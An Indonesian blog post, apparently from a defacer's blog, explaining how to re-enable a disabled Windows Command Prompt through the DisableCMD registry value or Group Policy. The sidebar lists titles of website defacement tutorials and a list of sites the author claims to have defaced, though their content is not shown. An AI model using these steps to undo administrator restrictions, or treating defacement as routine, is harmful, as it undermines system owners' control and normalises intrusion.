<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD8mx2HBnxAXERr0vQarpAArV-GDo7-VHd_uOh_7c51o3lSaW4Y-4H9RWsShyhaVlHvkK6o8XK6NCj7zVj_SgVdkAIPdXGMvN9DRRjygBPI0YDviG_ynCVrrkxIVumbWgOwWVJ6OAtvvw/s1600/edit+registry.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD8mx2HBnxAXERr0vQarpAArV-GDo7-VHd_uOh_7c51o3lSaW4Y-4H9RWsShyhaVlHvkK6o8XK6NCj7zVj_SgVdkAIPdXGMvN9DRRjygBPI0YDviG_ynCVrrkxIVumbWgOwWVJ6OAtvvw/s1600/edit+registry.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUP1cexOm6R3qcwbwm4cmdKVz-FHXj_x37_xmWrLLVKMamXsW2YxGs68ix9lbfQgIYr22wS_mX9dIpqTmAVpH9NJZCR_D8e6w_0E52TZ9uhY3YHhVsB5gqXaj76IGcGf4AvzFi0FN8D-o/s1600/regedit.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="235" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUP1cexOm6R3qcwbwm4cmdKVz-FHXj_x37_xmWrLLVKMamXsW2YxGs68ix9lbfQgIYr22wS_mX9dIpqTmAVpH9NJZCR_D8e6w_0E52TZ9uhY3YHhVsB5gqXaj76IGcGf4AvzFi0FN8D-o/s1600/regedit.JPG" width="400" /></a></div>
<div style="text-align: start;">
> Maka akan muncul jendela Registry Editor. Arahkan ke HKEY_CURRENT_USER > Software > Policies > Microsoft > Windows > System</div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5-1BUQx74hDxqvrA3TwKveUJtnjRunEdt8QIQau65efVd3LvcT-1AtUQWRVdX7TzjkUkP86bVp0vXziqJaXdQ9qVyHhI8LApZmQPTnPNybdtnQSpq4524xxTbKyOWHV4Hmx0slzsJ94/s1600/registry.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5-1BUQx74hDxqvrA3TwKveUJtnjRunEdt8QIQau65efVd3LvcT-1AtUQWRVdX7TzjkUkP86bVp0vXziqJaXdQ9qVyHhI8LApZmQPTnPNybdtnQSpq4524xxTbKyOWHV4Hmx0slzsJ94/s1600/registry.JPG" width="400" /></a></div>
<div style="text-align: start;">
 </div>
 > Lalu pada menu bilah kanan, klik dua kali DisableCMD , lalu masukan angka 0 . Kemudian Enter. Finnish :) 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD8mx2HBnxAXERr0vQarpAArV-GDo7-VHd_uOh_7c51o3lSaW4Y-4H9RWsShyhaVlHvkK6o8XK6NCj7zVj_SgVdkAIPdXGMvN9DRRjygBPI0YDviG_ynCVrrkxIVumbWgOwWVJ6OAtvvw/s1600/edit+registry.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD8mx2HBnxAXERr0vQarpAArV-GDo7-VHd_uOh_7c51o3lSaW4Y-4H9RWsShyhaVlHvkK6o8XK6NCj7zVj_SgVdkAIPdXGMvN9DRRjygBPI0YDviG_ynCVrrkxIVumbWgOwWVJ6OAtvvw/s1600/edit+registry.JPG" width="400" /></a></div>
 
 
 
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
3. Menggunakan Group Policy Editor</div>
<div style="text-align: justify;">
 > Tekan Tombol Windows + R , Lalu ketikkan gpedit.msc</div>
<div style="text-align: justify;">
  > Arahkan ke User Configuration > Administrative Templates > System.</div>
<div style="text-align: justify;">
  > Ubah nilai di “Prevent access to the command prompt” menjadi Disabled.</div>
<div style="text-align: justify;">
  > FINNISH :) 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggA6VuZfdZgs5o5LRsv_9IR-obIvoSte_SCD6uCFHz0qATvs4V0JGidgyiRRv3l8YE4Sn-trX93FxRRxm3d_uqtb0wBbagCc9ii7itZRZlkLMF0tL1b1380_uJIWYfcUu3DwpaPeeQXQc/s1600/gpedit.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggA6VuZfdZgs5o5LRsv_9IR-obIvoSte_SCD6uCFHz0qATvs4V0JGidgyiRRv3l8YE4Sn-trX93FxRRxm3d_uqtb0wBbagCc9ii7itZRZlkLMF0tL1b1380_uJIWYfcUu3DwpaPeeQXQc/s1600/gpedit.JPG" width="400" /></a></div>
 </div>
<div style="text-align: justify;">
   </div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
NOTE : Jika CMD Prompt di PC sampeyan tidak bisa dibuka, sebaiknya sampeyan restart PC sampeyan</div>
<div style="text-align: justify;">
 </div>
</div>

Trik Memulihkan Command Promt Yang Disable

Hello, kali ini Bang Not Found mau ngasih tips untuk mengaktifkan Command Prompt yang Disable. Tapi sebulumnya, Bang Not Found jela...

_MisterNotFound_ Official Blog

Deface Teknik WP Add Admin Vulnerability

Deface Teknik Com_Fabric

Daftar Situs Yang Saya Deface

Deface situs teknik KindEditor (TEKNIK UNTUK PEMULA)

Trik Memulihkan Command Promt Yang Disable

Support our team

Layout Style

Background Patterns

Color Scheme